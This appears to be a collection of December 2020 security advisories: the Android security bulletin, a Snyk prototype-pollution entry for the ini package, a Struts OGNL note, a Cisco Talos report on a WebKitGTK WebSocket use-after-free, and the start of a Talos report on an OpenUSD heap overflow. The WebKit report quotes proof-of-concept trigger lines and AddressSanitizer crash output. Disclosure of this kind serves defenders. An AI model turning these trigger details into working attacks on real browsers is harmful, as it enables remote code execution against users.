In createVirtualDisplay of DisplayManagerService.java, there is a possible way to create a trusted virtual display due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-162627132

_Published December 7, 2020 | Updated December 10, 2020_

The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Security patch levels of 2020-12-05 or later address all of these issues. To learn how to check a device's security patch level, see Check and update your Android version.

Android partners are notified of all issues at least a month before publication. Source code patches for these issues have been released to the Android Open Source Project (AOSP) repository and linked from this bulletin. This bulletin also includes links to patches outside of AOSP.

The most severe of these issues is a critical security vulnerability in the Media Framework component that could enable a remote attacker using a specially crafted file to execute arbitrary code within the context of a privileged process. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are turned off for development purposes or if successfully bypassed.

Refer to the Android and Google Play Protect mitigations section for details on the Android security platform protections and Google Play Protect, which improve the security of the Android platform.

**Android and Google service mitigations**

This is a summary of the mitigations provided by the Android security platform and service protections such as Google Play Protect. These capabilities reduce the likelihood that security vulnerabilities could be successfully exploited on Android.

*   Exploitation for many issues on Android is made more difficult by enhancements in newer versions of the Android platform. We encourage all users to update to the latest version of Android where possible.
*   The Android security team actively monitors for abuse through Google Play Protect and warns users about Potentially Harmful Applications. Google Play Protect is enabled by default on devices with Google Mobile Services, and is especially important for users who install apps from outside of Google Play.

**2020-12-01 security patch level vulnerability details**

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2020-12-01 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID. Devices with Android 10 and later may receive security updates as well as Google Play system updates.

**Framework**

The most severe vulnerability in this section could enable a local malicious application to bypass user interaction requirements in order to gain access to additional permissions.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2020-0099  

A-141745510

EoP

High

8.0, 8.1, 9, 10

CVE-2020-0294  

A-154915372

EoP

High

8.0, 8.1, 9, 10

CVE-2020-0440  

A-162627132 \[2\]

EoP

High

11

CVE-2020-0459  

A-159373687 \[2\] \[3\] \[4\] \[5\]

ID

High

8.0, 8.1, 9, 10

CVE-2020-0464  

A-150371903 \[2\]

ID

High

10

CVE-2020-0467  

A-168500792

ID

High

8.1, 9, 10, 11

CVE-2020-0468  

A-158484422

ID

High

10, 11

CVE-2020-0469  

A-168692734

DoS

High

11

**Media Framework**

The most severe vulnerability in this section could enable a remote attacker using a specially crafted file to execute arbitrary code within the context of a privileged process.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2020-0458  

A-160265164 \[2\]

RCE

Critical

8.0, 8.1, 9, 10

CVE-2020-0470  

A-166268541

ID

High

10, 11

**System**

The most severe vulnerability in this section could lead to remote information disclosure with no additional execution privileges needed.

    

CVE

References

Type

Severity

Updated AOSP versions

CVE-2020-0460  

A-163413737

ID

High

11

CVE-2020-0463  

A-169342531

ID

High

8.0, 8.1, 9, 10, 11

CVE-2020-15802  

A-158854097

ID

High

8.0, 8.1, 9, 10, 11

**Google Play system updates**

There are no security issues addressed in Google Play system updates (Project Mainline) this month.

**2020-12-05 security patch level vulnerability details**

In the sections below, we provide details for each of the security vulnerabilities that apply to the 2020-12-05 patch level. Vulnerabilities are grouped under the component they affect. Issues are described in the tables below and include CVE ID, associated references, type of vulnerability, severity, and updated AOSP versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.

**Kernel components**

The most severe vulnerability in this section could enable a local malicious application to execute arbitrary code within the context of a privileged process.

    

CVE

References

Type

Severity

Component

CVE-2020-0444  

A-150693166  
Upstream kernel

EoP

High

Kernel Audit System

CVE-2020-0465  

A-162844689  
Upstream kernel \[2\]

EoP

High

Kernel

CVE-2020-0466  

A-147802478  
Upstream kernel \[2\]

EoP

High

I/O Subsystem

**Broadcom components**

These vulnerabilities affect Broadcom components and further details are available directly from Broadcom. The severity assessment of these issues is provided directly by Broadcom.

    

CVE

References

Severity

Component

CVE-2020-0016  

A-171413483 \*

High

Broadcom middleware

CVE-2020-0019  

A-171413798 \*

High

Broadcom middleware

**MediaTek components**

These vulnerabilities affect MediaTek components and further details are available directly from MediaTek. The severity assessment of these issues is provided directly by MediaTek.

    

CVE

References

Severity

Component

CVE-2020-0455  

A-170372514  
M-ALPS05324771 \*

High

vcu

CVE-2020-0456  

A-170378843  
M-ALPS05304125 \*

High

vcu

CVE-2020-0457  

A-170367562  
M-ALPS05304170 \*

High

vcu

**Qualcomm components**

These vulnerabilities affect Qualcomm components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.

    

CVE

References

Severity

Component

CVE-2020-11225  

A-168050601  
QC-CR#2724407

Critical

WLAN

CVE-2020-11146  

A-157906412  
QC-CR#2648596

High

Kernel

CVE-2020-11167  

A-168049959  
QC-CR#2434229 \[2\]

High

Bluetooth

CVE-2020-11185  

A-168050580  
QC-CR#2658462

High

WLAN

CVE-2020-11217  

A-168051734  
QC-CR#2710036

High

Audio

**Qualcomm closed-source components**

These vulnerabilities affect Qualcomm closed-source components and are described in further detail in the appropriate Qualcomm security bulletin or security alert. The severity assessment of these issues is provided directly by Qualcomm.

    

CVE

References

Severity

Component

CVE-2020-3685  

A-157905813 \*

Critical

Closed-source component

CVE-2020-3686  

A-157906329 \*

Critical

Closed-source component

CVE-2020-3691  

A-157906171 \*

Critical

Closed-source component

CVE-2020-11136  

A-157905860 \*

Critical

Closed-source component

CVE-2020-11137  

A-157905869 \*

Critical

Closed-source component

CVE-2020-11138  

A-157905657 \*

Critical

Closed-source component

CVE-2020-11140  

A-157906530 \*

Critical

Closed-source component

CVE-2020-11143  

A-157905814 \*

Critical

Closed-source component

CVE-2020-11119  

A-168051735 \*

High

Closed-source component

CVE-2020-11139  

A-157905659 \*

High

Closed-source component

CVE-2020-11144  

A-157906670 \*

High

Closed-source component

CVE-2020-11145  

A-157905870 \*

High

Closed-source component

CVE-2020-11179  

A-163548240 \*

High

Closed-source component

CVE-2020-11197  

A-168050278 \*

High

Closed-source component

CVE-2020-11200  

A-168049958 \*

High

Closed-source component

CVE-2020-11212  

A-168050603 \*

High

Closed-source component

CVE-2020-11213  

A-168050861 \*

High

Closed-source component

CVE-2020-11214  

A-168049138 \*

High

Closed-source component

CVE-2020-11215  

A-168049960 \*

High

Closed-source component

CVE-2020-11216  

A-168050579 \*

High

Closed-source component

**Common questions and answers**

This section answers common questions that may occur after reading this bulletin.

**1\. How do I determine if my device is updated to address these issues?**

To learn how to check a device's security patch level, see Check and update your Android version.

*   Security patch levels of 2020-12-01 or later address all issues associated with the 2020-12-01 security patch level.
*   Security patch levels of 2020-12-05 or later address all issues associated with the 2020-12-05 security patch level and all previous patch levels.

Device manufacturers that include these updates should set the patch string level to:

*   \[ro.build.version.security\_patch\]:\[2020-12-01\]
*   \[ro.build.version.security\_patch\]:\[2020-12-05\]

For some devices on Android 10 or later, the Google Play system update will have a date string that matches the 2020-12-01 security patch level. Please see this article for more details on how to install security updates.

**2\. Why does this bulletin have two security patch levels?**

This bulletin has two security patch levels so that Android partners have the flexibility to fix a subset of vulnerabilities that are similar across all Android devices more quickly. Android partners are encouraged to fix all issues in this bulletin and use the latest security patch level.

*   Devices that use the 2020-12-01 security patch level must include all issues associated with that security patch level, as well as fixes for all issues reported in previous security bulletins.
*   Devices that use the security patch level of 2020-12-05 or newer must include all applicable patches in this (and previous) security bulletins.

Partners are encouraged to bundle the fixes for all issues they are addressing in a single update.

**3\. What do the entries in the _Type_ column mean?**

Entries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.

 

Abbreviation

Definition

RCE

Remote code execution

EoP

Elevation of privilege

ID

Information disclosure

DoS

Denial of service

N/A

Classification not available

**4\. What do the entries in the _References_ column mean?**

Entries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.

 

Prefix

Reference

A-

Android bug ID

QC-

Qualcomm reference number

M-

MediaTek reference number

N-

NVIDIA reference number

B-

Broadcom reference number

**5\. What does an \* next to the Android bug ID in the _References_ column mean?**

Issues that are not publicly available have an \* next to the corresponding reference ID. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

**6\. Why are security vulnerabilities split between this bulletin and device / partner security bulletins, such as the Pixel bulletin?**

Security vulnerabilities that are documented in this security bulletin are required to declare the latest security patch level on Android devices. Additional security vulnerabilities that are documented in the device / partner security bulletins are not required for declaring a security patch level. Android device and chipset manufacturers may also publish security vulnerability details specific to their products, such as Google, Huawei, LGE, Motorola, Nokia, or Samsung.

**Versions**

  

Version

Date

Notes

1.0

December 7, 2020

Bulletin published

1.1

December 10, 2020

Bulletin revised to include AOSP links

CVE-2020-0440: Android Security Bulletin—December 2020  |  Android Open Source Project

This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

*   Unsafe Object recursive merge
    
*   Property definition by path
    

**Unsafe Object recursive merge**

The logic of a vulnerable recursive merge function follows the following high-level model:

    merge (target, source)
    
      foreach property of source
    if property exists and is an object on both the target and the source
    
      merge(target[property], source[property])
    
    else
    
      target[property] = source[property]
    
    

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

**Property definition by path**

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

CVE-2020-7788: Snyk Vulnerability Database | Snyk

Forced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25.

This server is currently undergoing maintenance, please try again later. Visit https://status.apache.org for updates.

CVE-2020-17530

An exploitable use-after-free vulnerability exists in WebKitGTK browser version 2.30.1 x64. A specially crafted HTML web page can cause a use-after-free condition, resulting in a remote code execution. The victim needs to visit a malicious web site to trigger this vulnerability.

CVE-2020-13584: TALOS-2020-1195 || Cisco Talos Intelligence Group

A code execution vulnerability exists in the WebSocket functionality of Webkit WebKitGTK 2.30.0. A specially crafted web page can trigger a use-after-free vulnerability which can lead to remote code execution. An attacker can get a user to visit a webpage to trigger this vulnerability.

**Summary**

A code execution vulnerability exists in the WebSocket functionality of Webkit WebKitGTK 2.30.0. A specially crafted web page can trigger a use-after-free vulnerability which can lead to remote code execution. An attacker can get a user to visit a webpage to trigger this vulnerability.

**Tested Versions**

Webkit WebKitGTK 2.30.0

**Product URLs**

https://webkit.org/

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-416 - Use After Free

**Details**

WebKit is an open-source web content engine for browsers and other applications.

The vulnerabiliy is related with the WebSocket variable and the way it is handled during the document reloads. A malicious web page can lead to a use-after-free vulnerability and potential remote code execution.

To understand the vulnerability we will focus on script parts of the poc.html file because index.html should be straight forward. In function func_1 a reference to an index.html (parent) is obtained in line 19.

    Line 18	  parent_doc = window.top.document;
    Line 19	  html_obj = parent_doc.all[0];
    

Next eventhandler1 func is executed where WebSocket object is created line 28. Further, inside/just before WebSocket is closed in line 30 assigned onerror event handler free_it is executed.

    Line 26	function eventhandler1(event)
    Line 27	{
    (...)
    Line 29	  try { ws.onerror = free_it; } catch(e) { }
    Line 30	  try { ws.close(); } catch(e) { }
    

Adding parent html object to current document body line 35 cause an “interesting” case where among the others WebSocket object ws is released.

    Line 33	function free_it()
    Line 34	{  
    Line 35	  try { document.body.appendChild(html_obj); } catch(e) { }    
    Line 36	}
    

We can observe it on an ASAN output:

    0x6110002c0cd8 is located 88 bytes inside of 200-byte region [0x6110002c0c80,0x6110002c0d48)
    freed by thread T0 here:
    	#0 0x49494d in free (/home/icewall/projects/webkit/build/bin/WebKitWebProcess+0x49494d)
    	#1 0x7f60c6359bbc in non-virtual thunk to WebCore::WebSocket::stop() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4266bbc)
    	#2 0x7f60c720fdb5 in WebCore::ScriptExecutionContext::stopActiveDOMObjects() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x511cdb5)
    	#3 0x7f60c816f62b in WebCore::FrameLoader::frameDetached() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x607c62b)
    	#4 0x7f60c7737f98 in WebCore::HTMLFrameOwnerElement::disconnectContentFrame() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x5644f98)
    	#5 0x7f60c6ec910f in WebCore::ContainerNode::removeChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd610f)
    	#6 0x7f60c6ec5036 in WebCore::collectChildrenAndRemoveFromOldParent(WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node, WTF::DumbPtrTraits<WebCore::Node> >, 11ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc>&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd2036)
    	#7 0x7f60c6ec38b4 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd08b4)
    	#8 0x7f60c6ecd459 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dda459)
    	#9 0x7f60c715b658 in WebCore::Node::appendChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x5068658)
    	#10 0x7f606674b177  (<unknown module>)
    	#11 0x7f60c0f691e0  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x454f1e0)
    	#12 0x7f60c0f4f748  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x4535748)
    	#13 0x7f60bf36132a in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x294732a)
    	#14 0x7f60bfd77159 in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x335d159)
    
    previously allocated by thread T0 here:
    	#0 0x494bcd in malloc (/home/icewall/projects/webkit/build/bin/WebKitWebProcess+0x494bcd)
    	#1 0x7f60c113a08a in bmalloc::DebugHeap::malloc(unsigned long, bmalloc::FailureAction) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x472008a)
    	#2 0x7f60c633c98c in WebCore::ThreadableWebSocketChannel::create(WebCore::ScriptExecutionContext&, WebCore::WebSocketChannelClient&, WebCore::SocketProvider&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x424998c)
    	#3 0x7f60c6350d8c in WebCore::WebSocket::connect(WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x425dd8c)
    	#4 0x7f60c63500a0 in WebCore::WebSocket::create(WebCore::ScriptExecutionContext&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x425d0a0)
    	#5 0x7f60c5bc748d in WebCore::constructJSWebSocket1(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3ad448d)
    	#6 0x7f60c5bc5f7d in WebCore::JSDOMConstructor<WebCore::JSWebSocket>::construct(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3ad2f7d)
    	#7 0x7f60bf80febb in JSC::LLInt::setUpCall(JSC::CallFrame*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x2df5ebb)
    	#8 0x7f60c0f69e81  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x454fe81)
    	#9 0x7f60c0f4f748  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x4535748)
    	#10 0x7f60bf36132a in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x294732a)
    	#11 0x7f60bfd77159 in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x335d159)		
    

And because that happens just before ws.close call at line 30 its further execution leads to a use-after-free condition:

    ==75258==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110002c0cd8 at pc 0x7f60c45f7a8d bp 0x7ffeff4ba450 sp 0x7ffeff4ba448
    READ of size 1 at 0x6110002c0cd8 thread T0
    	#0 0x7f60c45f7a8c in non-virtual thunk to WebKit::WebSocketChannel::fail(WTF::String const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x2504a8c)
    	#1 0x7f60c635813e in WebCore::WebSocket::close(WTF::Optional<unsigned short>, WTF::String const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x426513e)
    	#2 0x7f60c5bce576 in WebCore::jsWebSocketPrototypeFunctionClose(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3adb576)
    	#3 0x7f606674b177  (<unknown module>)	
    

Proper heap grooming can give an attacker full control of this use-after-free vulnerability and as a result could allow it to be turned into a arbitrary code execution.

**Crash Information**

    ==75258==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110002c0cd8 at pc 0x7f60c45f7a8d bp 0x7ffeff4ba450 sp 0x7ffeff4ba448
    READ of size 1 at 0x6110002c0cd8 thread T0
    	#0 0x7f60c45f7a8c in non-virtual thunk to WebKit::WebSocketChannel::fail(WTF::String const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x2504a8c)
    	#1 0x7f60c635813e in WebCore::WebSocket::close(WTF::Optional<unsigned short>, WTF::String const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x426513e)
    	#2 0x7f60c5bce576 in WebCore::jsWebSocketPrototypeFunctionClose(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3adb576)
    	#3 0x7f606674b177  (<unknown module>)
    
    0x6110002c0cd8 is located 88 bytes inside of 200-byte region [0x6110002c0c80,0x6110002c0d48)
    freed by thread T0 here:
    	#0 0x49494d in free (/home/icewall/projects/webkit/build/bin/WebKitWebProcess+0x49494d)
    	#1 0x7f60c6359bbc in non-virtual thunk to WebCore::WebSocket::stop() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4266bbc)
    	#2 0x7f60c720fdb5 in WebCore::ScriptExecutionContext::stopActiveDOMObjects() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x511cdb5)
    	#3 0x7f60c816f62b in WebCore::FrameLoader::frameDetached() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x607c62b)
    	#4 0x7f60c7737f98 in WebCore::HTMLFrameOwnerElement::disconnectContentFrame() (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x5644f98)
    	#5 0x7f60c6ec910f in WebCore::ContainerNode::removeChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd610f)
    	#6 0x7f60c6ec5036 in WebCore::collectChildrenAndRemoveFromOldParent(WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node, WTF::DumbPtrTraits<WebCore::Node> >, 11ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc>&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd2036)
    	#7 0x7f60c6ec38b4 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dd08b4)
    	#8 0x7f60c6ecd459 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x4dda459)
    	#9 0x7f60c715b658 in WebCore::Node::appendChild(WebCore::Node&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x5068658)
    	#10 0x7f606674b177  (<unknown module>)
    	#11 0x7f60c0f691e0  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x454f1e0)
    	#12 0x7f60c0f4f748  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x4535748)
    	#13 0x7f60bf36132a in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x294732a)
    	#14 0x7f60bfd77159 in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x335d159)
    
    previously allocated by thread T0 here:
    	#0 0x494bcd in malloc (/home/icewall/projects/webkit/build/bin/WebKitWebProcess+0x494bcd)
    	#1 0x7f60c113a08a in bmalloc::DebugHeap::malloc(unsigned long, bmalloc::FailureAction) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x472008a)
    	#2 0x7f60c633c98c in WebCore::ThreadableWebSocketChannel::create(WebCore::ScriptExecutionContext&, WebCore::WebSocketChannelClient&, WebCore::SocketProvider&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x424998c)
    	#3 0x7f60c6350d8c in WebCore::WebSocket::connect(WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x425dd8c)
    	#4 0x7f60c63500a0 in WebCore::WebSocket::create(WebCore::ScriptExecutionContext&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x425d0a0)
    	#5 0x7f60c5bc748d in WebCore::constructJSWebSocket1(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3ad448d)
    	#6 0x7f60c5bc5f7d in WebCore::JSDOMConstructor<WebCore::JSWebSocket>::construct(JSC::JSGlobalObject*, JSC::CallFrame*) (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x3ad2f7d)
    	#7 0x7f60bf80febb in JSC::LLInt::setUpCall(JSC::CallFrame*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x2df5ebb)
    	#8 0x7f60c0f69e81  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x454fe81)
    	#9 0x7f60c0f4f748  (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x4535748)
    	#10 0x7f60bf36132a in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x294732a)
    	#11 0x7f60bfd77159 in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/home/icewall/projects/webkit/build/lib/libjavascriptcoregtk-4.0.so.18+0x335d159)
    
    SUMMARY: AddressSanitizer: heap-use-after-free (/home/icewall/projects/webkit/build/lib/libwebkit2gtk-4.0.so.37+0x2504a8c) in non-virtual thunk to WebKit::WebSocketChannel::fail(WTF::String const&)
    Shadow bytes around the buggy address:
      0x0c2280050140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2280050150: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
      0x0c2280050160: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c2280050170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c2280050180: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    =>0x0c2280050190: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
      0x0c22800501a0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
      0x0c22800501b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x0c22800501c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c22800501d0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
      0x0c22800501e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==75258==ABORTING
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    

**Exploit Proof of Concept**

1.  Unpack WebKit\_WebSocket\_POC.zip to a directory of your local web server.
2.  Build webkit with –asan –release flags
3.  Using Minibrowser navigate to an address pointing on an attached index\_new.html
4.  Observe asan log in the console.

**Credit**

Discovered by Marcin ‘Icewall’ Noga of Cisco Talos.

https://talosintelligence.com/vulnerability\_reports/

**Timeline**

2020-09-21 - Vendor Disclosure  
2020-11-19 - Vendor Patched  
2020-11-30 - Public Release

Discovered by Marcin 'Icewall' Noga of Cisco Talos.

CVE-2020-13543: TALOS-2020-1155 || Cisco Talos Intelligence Group

A heap overflow vulnerability exists in Pixar OpenUSD 20.05 when the software parses compressed sections in binary USD files. A specially crafted USDC file format path jumps decompression heap overflow in a way path jumps are processed. To trigger this vulnerability, the victim needs to open an attacker-provided malformed file.

CVE-2020-6147, CVE-2020-6148, CVE-2020-6149, CVE-2020-6150, CVE-2020-6156, CVE-2020-13493

**Summary**

A heap overflow vulnerability exists in Pixar OpenUSD 20.05 when the software parses compressed sections in binary USD files. A specially crafted malformed file can trigger a heap overflow which can result in remote code execution. To trigger this vulnerability, the victim needs to open an attacker-provided malformed file.

**Tested Versions**

Pixar OpenUSD 20.05  
Apple macOS Catalina 10.15.3

**Product URLs**

https://openusd.org

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

OpenUSD stands for “Open Universal Scene Descriptor” and is a software suite by Pixar that facilitates, among other things, the interchange of arbitrary 3-D scenes that may be composed of many elemental assets.

Most notably, USD and its backing file format usd are used on Apple iOS and macOS as part of the ModelIO framework in support of SceneKit and ARKit for sharing and displaying 3-D scenes in, for example, augmented reality applications. On macOS, these files are automatically rendered to generate thumbnails, while on iOS they can be shared via iMessage and opened with user interaction.

